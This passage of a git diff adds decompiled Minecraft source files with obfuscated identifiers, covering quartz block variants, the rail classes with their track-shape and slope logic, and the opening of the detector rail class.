+    EnumType var2 = (EnumType)state.getValue(VARIANT_PROP);
+    return (var2 != EnumType.LINES_X) && (var2 != EnumType.LINES_Z) ? var2.getMetaFromState() : EnumType.LINES_Y.getMetaFromState();
+  }
+  
+  protected ItemStack createStackedBlock(IBlockState state)
+  {
+    EnumType var2 = (EnumType)state.getValue(VARIANT_PROP);
+    return (var2 != EnumType.LINES_X) && (var2 != EnumType.LINES_Z) ? super.createStackedBlock(state) : new ItemStack(Item.getItemFromBlock(this), 1, EnumType.LINES_Y.getMetaFromState());
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    list.add(new ItemStack(itemIn, 1, EnumType.DEFAULT.getMetaFromState()));
+    list.add(new ItemStack(itemIn, 1, EnumType.CHISELED.getMetaFromState()));
+    list.add(new ItemStack(itemIn, 1, EnumType.LINES_Y.getMetaFromState()));
+  }
+  
+
+
+
+  public MapColor getMapColor(IBlockState state)
+  {
+    return MapColor.quartzColor;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(VARIANT_PROP, EnumType.func_176794_a(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumType)state.getValue(VARIANT_PROP)).getMetaFromState();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { VARIANT_PROP });
+  }
+  
+  public static enum EnumType implements IStringSerializable
+  {
+    DEFAULT("DEFAULT", 0, 0, "default", "default"), 
+    CHISELED("CHISELED", 1, 1, "chiseled", "chiseled"), 
+    LINES_Y("LINES_Y", 2, 2, "lines_y", "lines"), 
+    LINES_X("LINES_X", 3, 3, "lines_x", "lines"), 
+    LINES_Z("LINES_Z", 4, 4, "lines_z", "lines");
+    
+    private static final EnumType[] TYPES_ARRAY;
+    private final int field_176798_g;
+    private final String field_176805_h;
+    private final String field_176806_i;
+    private static final EnumType[] $VALUES;
+    private static final String __OBFID = "CL_00002074";
+    
+    private EnumType(String p_i45691_1_, int p_i45691_2_, int p_i45691_3_, String p_i45691_4_, String p_i45691_5_)
+    {
+      field_176798_g = p_i45691_3_;
+      field_176805_h = p_i45691_4_;
+      field_176806_i = p_i45691_5_;
+    }
+    
+    public int getMetaFromState()
+    {
+      return field_176798_g;
+    }
+    
+    public String toString()
+    {
+      return field_176806_i;
+    }
+    
+    public static EnumType func_176794_a(int p_176794_0_)
+    {
+      if ((p_176794_0_ < 0) || (p_176794_0_ >= TYPES_ARRAY.length))
+      {
+        p_176794_0_ = 0;
+      }
+      
+      return TYPES_ARRAY[p_176794_0_];
+    }
+    
+    public String getName()
+    {
+      return field_176805_h;
+    }
+    
+    static
+    {
+      TYPES_ARRAY = new EnumType[values().length];
+      
+
+
+
+      $VALUES = new EnumType[] { DEFAULT, CHISELED, LINES_Y, LINES_X, LINES_Z };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumType var3 = var0[var2];
+        TYPES_ARRAY[var3.getMetaFromState()] = var3;
+      }
+    }
+  }
+  
+  static final class SwitchAxis
+  {
+    static final int[] field_180101_a = new int[EnumFacing.Axis.values().length];
+    private static final String __OBFID = "CL_00002075";
+    
+    static
+    {
+      try
+      {
+        field_180101_a[EnumFacing.Axis.Z.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_180101_a[EnumFacing.Axis.X.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_180101_a[EnumFacing.Axis.Y.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+    }
+    
+    SwitchAxis() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockRail.java b/src/minecraft/net/minecraft/block/BlockRail.java
new file mode 100644
index 0000000..c1bbc43
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockRail.java
@@ -0,0 +1,54 @@
+package net.minecraft.block;
+
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class BlockRail extends BlockRailBase
+{
+  public static final PropertyEnum field_176565_b = PropertyEnum.create("shape", BlockRailBase.EnumRailDirection.class);
+  private static final String __OBFID = "CL_00000293";
+  
+  protected BlockRail()
+  {
+    super(false);
+    setDefaultState(blockState.getBaseState().withProperty(field_176565_b, BlockRailBase.EnumRailDirection.NORTH_SOUTH));
+  }
+  
+  protected void func_176561_b(World worldIn, BlockPos p_176561_2_, IBlockState p_176561_3_, Block p_176561_4_)
+  {
+    if ((p_176561_4_.canProvidePower()) && (new BlockRailBase.Rail(this, worldIn, p_176561_2_, p_176561_3_).countAdjacentRails() == 3))
+    {
+      func_176564_a(worldIn, p_176561_2_, p_176561_3_, false);
+    }
+  }
+  
+  public IProperty func_176560_l()
+  {
+    return field_176565_b;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176565_b, BlockRailBase.EnumRailDirection.func_177016_a(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((BlockRailBase.EnumRailDirection)state.getValue(field_176565_b)).func_177015_a();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176565_b });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockRailBase.java b/src/minecraft/net/minecraft/block/BlockRailBase.java
new file mode 100644
index 0000000..0f32656
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockRailBase.java
@@ -0,0 +1,824 @@
+package net.minecraft.block;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public abstract class BlockRailBase extends Block
+{
+  protected final boolean isPowered;
+  private static final String __OBFID = "CL_00000195";
+  
+  public static boolean func_176562_d(World worldIn, BlockPos p_176562_1_)
+  {
+    return func_176563_d(worldIn.getBlockState(p_176562_1_));
+  }
+  
+  public static boolean func_176563_d(IBlockState p_176563_0_)
+  {
+    Block var1 = p_176563_0_.getBlock();
+    return (var1 == Blocks.rail) || (var1 == Blocks.golden_rail) || (var1 == Blocks.detector_rail) || (var1 == Blocks.activator_rail);
+  }
+  
+  protected BlockRailBase(boolean p_i45389_1_)
+  {
+    super(Material.circuits);
+    isPowered = p_i45389_1_;
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.125F, 1.0F);
+    setCreativeTab(CreativeTabs.tabTransport);
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+
+
+
+
+
+
+  public net.minecraft.util.MovingObjectPosition collisionRayTrace(World worldIn, BlockPos pos, Vec3 start, Vec3 end)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    return super.collisionRayTrace(worldIn, pos, start, end);
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    IBlockState var3 = access.getBlockState(pos);
+    EnumRailDirection var4 = var3.getBlock() == this ? (EnumRailDirection)var3.getValue(func_176560_l()) : null;
+    
+    if ((var4 != null) && (var4.func_177018_c()))
+    {
+      setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.625F, 1.0F);
+    }
+    else
+    {
+      setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.125F, 1.0F);
+    }
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown());
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (!isRemote)
+    {
+      state = func_176564_a(worldIn, pos, state, true);
+      
+      if (isPowered)
+      {
+        onNeighborBlockChange(worldIn, pos, state, this);
+      }
+    }
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (!isRemote)
+    {
+      EnumRailDirection var5 = (EnumRailDirection)state.getValue(func_176560_l());
+      boolean var6 = false;
+      
+      if (!World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown()))
+      {
+        var6 = true;
+      }
+      
+      if ((var5 == EnumRailDirection.ASCENDING_EAST) && (!World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetEast())))
+      {
+        var6 = true;
+      }
+      else if ((var5 == EnumRailDirection.ASCENDING_WEST) && (!World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetWest())))
+      {
+        var6 = true;
+      }
+      else if ((var5 == EnumRailDirection.ASCENDING_NORTH) && (!World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetNorth())))
+      {
+        var6 = true;
+      }
+      else if ((var5 == EnumRailDirection.ASCENDING_SOUTH) && (!World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetSouth())))
+      {
+        var6 = true;
+      }
+      
+      if (var6)
+      {
+        dropBlockAsItem(worldIn, pos, state, 0);
+        worldIn.setBlockToAir(pos);
+      }
+      else
+      {
+        func_176561_b(worldIn, pos, state, neighborBlock);
+      }
+    }
+  }
+  
+  protected void func_176561_b(World worldIn, BlockPos p_176561_2_, IBlockState p_176561_3_, Block p_176561_4_) {}
+  
+  protected IBlockState func_176564_a(World worldIn, BlockPos p_176564_2_, IBlockState p_176564_3_, boolean p_176564_4_)
+  {
+    return isRemote ? p_176564_3_ : new Rail(worldIn, p_176564_2_, p_176564_3_).func_180364_a(worldIn.isBlockPowered(p_176564_2_), p_176564_4_).func_180362_b();
+  }
+  
+  public int getMobilityFlag()
+  {
+    return 0;
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    super.breakBlock(worldIn, pos, state);
+    
+    if (((EnumRailDirection)state.getValue(func_176560_l())).func_177018_c())
+    {
+      worldIn.notifyNeighborsOfStateChange(pos.offsetUp(), this);
+    }
+    
+    if (isPowered)
+    {
+      worldIn.notifyNeighborsOfStateChange(pos, this);
+      worldIn.notifyNeighborsOfStateChange(pos.offsetDown(), this);
+    }
+  }
+  
+  public abstract IProperty func_176560_l();
+  
+  public static enum EnumRailDirection implements IStringSerializable
+  {
+    NORTH_SOUTH("NORTH_SOUTH", 0, 0, "north_south"), 
+    EAST_WEST("EAST_WEST", 1, 1, "east_west"), 
+    ASCENDING_EAST("ASCENDING_EAST", 2, 2, "ascending_east"), 
+    ASCENDING_WEST("ASCENDING_WEST", 3, 3, "ascending_west"), 
+    ASCENDING_NORTH("ASCENDING_NORTH", 4, 4, "ascending_north"), 
+    ASCENDING_SOUTH("ASCENDING_SOUTH", 5, 5, "ascending_south"), 
+    SOUTH_EAST("SOUTH_EAST", 6, 6, "south_east"), 
+    SOUTH_WEST("SOUTH_WEST", 7, 7, "south_west"), 
+    NORTH_WEST("NORTH_WEST", 8, 8, "north_west"), 
+    NORTH_EAST("NORTH_EAST", 9, 9, "north_east");
+    
+    private static final EnumRailDirection[] field_177030_k;
+    private final int field_177027_l;
+    private final String field_177028_m;
+    private static final EnumRailDirection[] $VALUES;
+    private static final String __OBFID = "CL_00002137";
+    
+    private EnumRailDirection(String p_i45738_1_, int p_i45738_2_, int p_i45738_3_, String p_i45738_4_)
+    {
+      field_177027_l = p_i45738_3_;
+      field_177028_m = p_i45738_4_;
+    }
+    
+    public int func_177015_a()
+    {
+      return field_177027_l;
+    }
+    
+    public String toString()
+    {
+      return field_177028_m;
+    }
+    
+    public boolean func_177018_c()
+    {
+      return (this == ASCENDING_NORTH) || (this == ASCENDING_EAST) || (this == ASCENDING_SOUTH) || (this == ASCENDING_WEST);
+    }
+    
+    public static EnumRailDirection func_177016_a(int p_177016_0_)
+    {
+      if ((p_177016_0_ < 0) || (p_177016_0_ >= field_177030_k.length))
+      {
+        p_177016_0_ = 0;
+      }
+      
+      return field_177030_k[p_177016_0_];
+    }
+    
+    public String getName()
+    {
+      return field_177028_m;
+    }
+    
+    static
+    {
+      field_177030_k = new EnumRailDirection[values().length];
+      
+
+
+      $VALUES = new EnumRailDirection[] { NORTH_SOUTH, EAST_WEST, ASCENDING_EAST, ASCENDING_WEST, ASCENDING_NORTH, ASCENDING_SOUTH, SOUTH_EAST, SOUTH_WEST, NORTH_WEST, NORTH_EAST };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumRailDirection[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumRailDirection var3 = var0[var2];
+        field_177030_k[var3.func_177015_a()] = var3;
+      }
+    }
+  }
+  
+  public class Rail
+  {
+    private final World field_150660_b;
+    private final BlockPos field_180367_c;
+    private final BlockRailBase field_180365_d;
+    private IBlockState field_180366_e;
+    private final boolean field_150656_f;
+    private final List field_150657_g = Lists.newArrayList();
+    private static final String __OBFID = "CL_00000196";
+    
+    public Rail(World worldIn, BlockPos p_i45739_3_, IBlockState p_i45739_4_)
+    {
+      field_150660_b = worldIn;
+      field_180367_c = p_i45739_3_;
+      field_180366_e = p_i45739_4_;
+      field_180365_d = ((BlockRailBase)p_i45739_4_.getBlock());
+      BlockRailBase.EnumRailDirection var5 = (BlockRailBase.EnumRailDirection)p_i45739_4_.getValue(func_176560_l());
+      field_150656_f = field_180365_d.isPowered;
+      func_180360_a(var5);
+    }
+    
+    private void func_180360_a(BlockRailBase.EnumRailDirection p_180360_1_)
+    {
+      field_150657_g.clear();
+      
+      switch (BlockRailBase.SwitchEnumRailDirection.field_180371_a[p_180360_1_.ordinal()])
+      {
+      case 1: 
+        field_150657_g.add(field_180367_c.offsetNorth());
+        field_150657_g.add(field_180367_c.offsetSouth());
+        break;
+      
+      case 2: 
+        field_150657_g.add(field_180367_c.offsetWest());
+        field_150657_g.add(field_180367_c.offsetEast());
+        break;
+      
+      case 3: 
+        field_150657_g.add(field_180367_c.offsetWest());
+        field_150657_g.add(field_180367_c.offsetEast().offsetUp());
+        break;
+      
+      case 4: 
+        field_150657_g.add(field_180367_c.offsetWest().offsetUp());
+        field_150657_g.add(field_180367_c.offsetEast());
+        break;
+      
+      case 5: 
+        field_150657_g.add(field_180367_c.offsetNorth().offsetUp());
+        field_150657_g.add(field_180367_c.offsetSouth());
+        break;
+      
+      case 6: 
+        field_150657_g.add(field_180367_c.offsetNorth());
+        field_150657_g.add(field_180367_c.offsetSouth().offsetUp());
+        break;
+      
+      case 7: 
+        field_150657_g.add(field_180367_c.offsetEast());
+        field_150657_g.add(field_180367_c.offsetSouth());
+        break;
+      
+      case 8: 
+        field_150657_g.add(field_180367_c.offsetWest());
+        field_150657_g.add(field_180367_c.offsetSouth());
+        break;
+      
+      case 9: 
+        field_150657_g.add(field_180367_c.offsetWest());
+        field_150657_g.add(field_180367_c.offsetNorth());
+        break;
+      
+      case 10: 
+        field_150657_g.add(field_180367_c.offsetEast());
+        field_150657_g.add(field_180367_c.offsetNorth());
+      }
+    }
+    
+    private void func_150651_b()
+    {
+      for (int var1 = 0; var1 < field_150657_g.size(); var1++)
+      {
+        Rail var2 = func_180697_b((BlockPos)field_150657_g.get(var1));
+        
+        if ((var2 != null) && (var2.func_150653_a(this)))
+        {
+          field_150657_g.set(var1, field_180367_c);
+        }
+        else
+        {
+          field_150657_g.remove(var1--);
+        }
+      }
+    }
+    
+    private boolean func_180359_a(BlockPos p_180359_1_)
+    {
+      return (BlockRailBase.func_176562_d(field_150660_b, p_180359_1_)) || (BlockRailBase.func_176562_d(field_150660_b, p_180359_1_.offsetUp())) || (BlockRailBase.func_176562_d(field_150660_b, p_180359_1_.offsetDown()));
+    }
+    
+    private Rail func_180697_b(BlockPos p_180697_1_)
+    {
+      IBlockState var3 = field_150660_b.getBlockState(p_180697_1_);
+      
+      if (BlockRailBase.func_176563_d(var3))
+      {
+        BlockRailBase tmp24_21 = BlockRailBase.this;tmp24_21.getClass();return new Rail(tmp24_21, field_150660_b, p_180697_1_, var3);
+      }
+      
+
+      BlockPos var2 = p_180697_1_.offsetUp();
+      var3 = field_150660_b.getBlockState(var2);
+      
+      if (BlockRailBase.func_176563_d(var3))
+      {
+        BlockRailBase tmp68_65 = BlockRailBase.this;tmp68_65.getClass();return new Rail(tmp68_65, field_150660_b, var2, var3);
+      }
+      
+
+      var2 = p_180697_1_.offsetDown();
+      var3 = field_150660_b.getBlockState(var2); BlockRailBase 
+        tmp112_109 = BlockRailBase.this;tmp112_109.getClass();return BlockRailBase.func_176563_d(var3) ? new Rail(tmp112_109, field_150660_b, var2, var3) : null;
+    }
+    
+
+
+    private boolean func_150653_a(Rail p_150653_1_)
+    {
+      return func_180363_c(field_180367_c);
+    }
+    
+    private boolean func_180363_c(BlockPos p_180363_1_)
+    {
+      for (int var2 = 0; var2 < field_150657_g.size(); var2++)
+      {
+        BlockPos var3 = (BlockPos)field_150657_g.get(var2);
+        
+        if ((var3.getX() == p_180363_1_.getX()) && (var3.getZ() == p_180363_1_.getZ()))
+        {
+          return true;
+        }
+      }
+      
+      return false;
+    }
+    
+    protected int countAdjacentRails()
+    {
+      int var1 = 0;
+      Iterator var2 = EnumFacing.Plane.HORIZONTAL.iterator();
+      
+      while (var2.hasNext())
+      {
+        EnumFacing var3 = (EnumFacing)var2.next();
+        
+        if (func_180359_a(field_180367_c.offset(var3)))
+        {
+          var1++;
+        }
+      }
+      
+      return var1;
+    }
+    
+    private boolean func_150649_b(Rail p_150649_1_)
+    {
+      return (func_150653_a(p_150649_1_)) || (field_150657_g.size() != 2);
+    }
+    
+    private void func_150645_c(Rail p_150645_1_)
+    {
+      field_150657_g.add(field_180367_c);
+      BlockPos var2 = field_180367_c.offsetNorth();
+      BlockPos var3 = field_180367_c.offsetSouth();
+      BlockPos var4 = field_180367_c.offsetWest();
+      BlockPos var5 = field_180367_c.offsetEast();
+      boolean var6 = func_180363_c(var2);
+      boolean var7 = func_180363_c(var3);
+      boolean var8 = func_180363_c(var4);
+      boolean var9 = func_180363_c(var5);
+      BlockRailBase.EnumRailDirection var10 = null;
+      
+      if ((var6) || (var7))
+      {
+        var10 = BlockRailBase.EnumRailDirection.NORTH_SOUTH;
+      }
+      
+      if ((var8) || (var9))
+      {
+        var10 = BlockRailBase.EnumRailDirection.EAST_WEST;
+      }
+      
+      if (!field_150656_f)
+      {
+        if ((var7) && (var9) && (!var6) && (!var8))
+        {
+          var10 = BlockRailBase.EnumRailDirection.SOUTH_EAST;
+        }
+        
+        if ((var7) && (var8) && (!var6) && (!var9))
+        {
+          var10 = BlockRailBase.EnumRailDirection.SOUTH_WEST;
+        }
+        
+        if ((var6) && (var8) && (!var7) && (!var9))
+        {
+          var10 = BlockRailBase.EnumRailDirection.NORTH_WEST;
+        }
+        
+        if ((var6) && (var9) && (!var7) && (!var8))
+        {
+          var10 = BlockRailBase.EnumRailDirection.NORTH_EAST;
+        }
+      }
+      
+      if (var10 == BlockRailBase.EnumRailDirection.NORTH_SOUTH)
+      {
+        if (BlockRailBase.func_176562_d(field_150660_b, var2.offsetUp()))
+        {
+          var10 = BlockRailBase.EnumRailDirection.ASCENDING_NORTH;
+        }
+        
+        if (BlockRailBase.func_176562_d(field_150660_b, var3.offsetUp()))
+        {
+          var10 = BlockRailBase.EnumRailDirection.ASCENDING_SOUTH;
+        }
+      }
+      
+      if (var10 == BlockRailBase.EnumRailDirection.EAST_WEST)
+      {
+        if (BlockRailBase.func_176562_d(field_150660_b, var5.offsetUp()))
+        {
+          var10 = BlockRailBase.EnumRailDirection.ASCENDING_EAST;
+        }
+        
+        if (BlockRailBase.func_176562_d(field_150660_b, var4.offsetUp()))
+        {
+          var10 = BlockRailBase.EnumRailDirection.ASCENDING_WEST;
+        }
+      }
+      
+      if (var10 == null)
+      {
+        var10 = BlockRailBase.EnumRailDirection.NORTH_SOUTH;
+      }
+      
+      field_180366_e = field_180366_e.withProperty(field_180365_d.func_176560_l(), var10);
+      field_150660_b.setBlockState(field_180367_c, field_180366_e, 3);
+    }
+    
+    private boolean func_180361_d(BlockPos p_180361_1_)
+    {
+      Rail var2 = func_180697_b(p_180361_1_);
+      
+      if (var2 == null)
+      {
+        return false;
+      }
+      
+
+      var2.func_150651_b();
+      return var2.func_150649_b(this);
+    }
+    
+
+    public Rail func_180364_a(boolean p_180364_1_, boolean p_180364_2_)
+    {
+      BlockPos var3 = field_180367_c.offsetNorth();
+      BlockPos var4 = field_180367_c.offsetSouth();
+      BlockPos var5 = field_180367_c.offsetWest();
+      BlockPos var6 = field_180367_c.offsetEast();
+      boolean var7 = func_180361_d(var3);
+      boolean var8 = func_180361_d(var4);
+      boolean var9 = func_180361_d(var5);
+      boolean var10 = func_180361_d(var6);
+      BlockRailBase.EnumRailDirection var11 = null;
+      
+      if (((var7) || (var8)) && (!var9) && (!var10))
+      {
+        var11 = BlockRailBase.EnumRailDirection.NORTH_SOUTH;
+      }
+      
+      if (((var9) || (var10)) && (!var7) && (!var8))
+      {
+        var11 = BlockRailBase.EnumRailDirection.EAST_WEST;
+      }
+      
+      if (!field_150656_f)
+      {
+        if ((var8) && (var10) && (!var7) && (!var9))
+        {
+          var11 = BlockRailBase.EnumRailDirection.SOUTH_EAST;
+        }
+        
+        if ((var8) && (var9) && (!var7) && (!var10))
+        {
+          var11 = BlockRailBase.EnumRailDirection.SOUTH_WEST;
+        }
+        
+        if ((var7) && (var9) && (!var8) && (!var10))
+        {
+          var11 = BlockRailBase.EnumRailDirection.NORTH_WEST;
+        }
+        
+        if ((var7) && (var10) && (!var8) && (!var9))
+        {
+          var11 = BlockRailBase.EnumRailDirection.NORTH_EAST;
+        }
+      }
+      
+      if (var11 == null)
+      {
+        if ((var7) || (var8))
+        {
+          var11 = BlockRailBase.EnumRailDirection.NORTH_SOUTH;
+        }
+        
+        if ((var9) || (var10))
+        {
+          var11 = BlockRailBase.EnumRailDirection.EAST_WEST;
+        }
+        
+        if (!field_150656_f)
+        {
+          if (p_180364_1_)
+          {
+            if ((var8) && (var10))
+            {
+              var11 = BlockRailBase.EnumRailDirection.SOUTH_EAST;
+            }
+            
+            if ((var9) && (var8))
+            {
+              var11 = BlockRailBase.EnumRailDirection.SOUTH_WEST;
+            }
+            
+            if ((var10) && (var7))
+            {
+              var11 = BlockRailBase.EnumRailDirection.NORTH_EAST;
+            }
+            
+            if ((var7) && (var9))
+            {
+              var11 = BlockRailBase.EnumRailDirection.NORTH_WEST;
+            }
+          }
+          else
+          {
+            if ((var7) && (var9))
+            {
+              var11 = BlockRailBase.EnumRailDirection.NORTH_WEST;
+            }
+            
+            if ((var10) && (var7))
+            {
+              var11 = BlockRailBase.EnumRailDirection.NORTH_EAST;
+            }
+            
+            if ((var9) && (var8))
+            {
+              var11 = BlockRailBase.EnumRailDirection.SOUTH_WEST;
+            }
+            
+            if ((var8) && (var10))
+            {
+              var11 = BlockRailBase.EnumRailDirection.SOUTH_EAST;
+            }
+          }
+        }
+      }
+      
+      if (var11 == BlockRailBase.EnumRailDirection.NORTH_SOUTH)
+      {
+        if (BlockRailBase.func_176562_d(field_150660_b, var3.offsetUp()))
+        {
+          var11 = BlockRailBase.EnumRailDirection.ASCENDING_NORTH;
+        }
+        
+        if (BlockRailBase.func_176562_d(field_150660_b, var4.offsetUp()))
+        {
+          var11 = BlockRailBase.EnumRailDirection.ASCENDING_SOUTH;
+        }
+      }
+      
+      if (var11 == BlockRailBase.EnumRailDirection.EAST_WEST)
+      {
+        if (BlockRailBase.func_176562_d(field_150660_b, var6.offsetUp()))
+        {
+          var11 = BlockRailBase.EnumRailDirection.ASCENDING_EAST;
+        }
+        
+        if (BlockRailBase.func_176562_d(field_150660_b, var5.offsetUp()))
+        {
+          var11 = BlockRailBase.EnumRailDirection.ASCENDING_WEST;
+        }
+      }
+      
+      if (var11 == null)
+      {
+        var11 = BlockRailBase.EnumRailDirection.NORTH_SOUTH;
+      }
+      
+      func_180360_a(var11);
+      field_180366_e = field_180366_e.withProperty(field_180365_d.func_176560_l(), var11);
+      
+      if ((p_180364_2_) || (field_150660_b.getBlockState(field_180367_c) != field_180366_e))
+      {
+        field_150660_b.setBlockState(field_180367_c, field_180366_e, 3);
+        
+        for (int var12 = 0; var12 < field_150657_g.size(); var12++)
+        {
+          Rail var13 = func_180697_b((BlockPos)field_150657_g.get(var12));
+          
+          if (var13 != null)
+          {
+            var13.func_150651_b();
+            
+            if (var13.func_150649_b(this))
+            {
+              var13.func_150645_c(this);
+            }
+          }
+        }
+      }
+      
+      return this;
+    }
+    
+    public IBlockState func_180362_b()
+    {
+      return field_180366_e;
+    }
+  }
+  
+  static final class SwitchEnumRailDirection
+  {
+    static final int[] field_180371_a = new int[BlockRailBase.EnumRailDirection.values().length];
+    private static final String __OBFID = "CL_00002138";
+    
+    static
+    {
+      try
+      {
+        field_180371_a[BlockRailBase.EnumRailDirection.NORTH_SOUTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_180371_a[BlockRailBase.EnumRailDirection.EAST_WEST.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_180371_a[BlockRailBase.EnumRailDirection.ASCENDING_EAST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_180371_a[BlockRailBase.EnumRailDirection.ASCENDING_WEST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_180371_a[BlockRailBase.EnumRailDirection.ASCENDING_NORTH.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+
+
+
+      try
+      {
+        field_180371_a[BlockRailBase.EnumRailDirection.ASCENDING_SOUTH.ordinal()] = 6;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+
+
+
+      try
+      {
+        field_180371_a[BlockRailBase.EnumRailDirection.SOUTH_EAST.ordinal()] = 7;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+      
+
+
+
+      try
+      {
+        field_180371_a[BlockRailBase.EnumRailDirection.SOUTH_WEST.ordinal()] = 8;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError8) {}
+      
+
+
+
+      try
+      {
+        field_180371_a[BlockRailBase.EnumRailDirection.NORTH_WEST.ordinal()] = 9;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError9) {}
+      
+
+
+
+      try
+      {
+        field_180371_a[BlockRailBase.EnumRailDirection.NORTH_EAST.ordinal()] = 10;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError10) {}
+    }
+    
+    SwitchEnumRailDirection() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockRailDetector.java b/src/minecraft/net/minecraft/block/BlockRailDetector.java
new file mode 100644
index 0000000..42db68b
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockRailDetector.java
@@ -0,0 +1,224 @@
+package net.minecraft.block;
+
+import com.google.common.base.Predicate;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.command.server.CommandBlockLogic;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityMinecartCommandBlock;
+import net.minecraft.entity.item.EntityMinecart;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockRailDetector extends BlockRailBase
+{
+  public static final PropertyEnum field_176573_b = PropertyEnum.create("shape", BlockRailBase.EnumRailDirection.class, new Predicate()
+  {
+    private static final String __OBFID = "CL_00002126";
+    
+    public boolean func_180344_a(BlockRailBase.EnumRailDirection p_180344_1_) {
+      return (p_180344_1_ != BlockRailBase.EnumRailDirection.NORTH_EAST) && (p_180344_1_ != BlockRailBase.EnumRailDirection.NORTH_WEST) && (p_180344_1_ != BlockRailBase.EnumRailDirection.SOUTH_EAST) && (p_180344_1_ != BlockRailBase.EnumRailDirection.SOUTH_WEST);
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_180344_a((BlockRailBase.EnumRailDirection)p_apply_1_);
+    }
+  });
+  
+
+
+
+
+
+
+
+
+
+
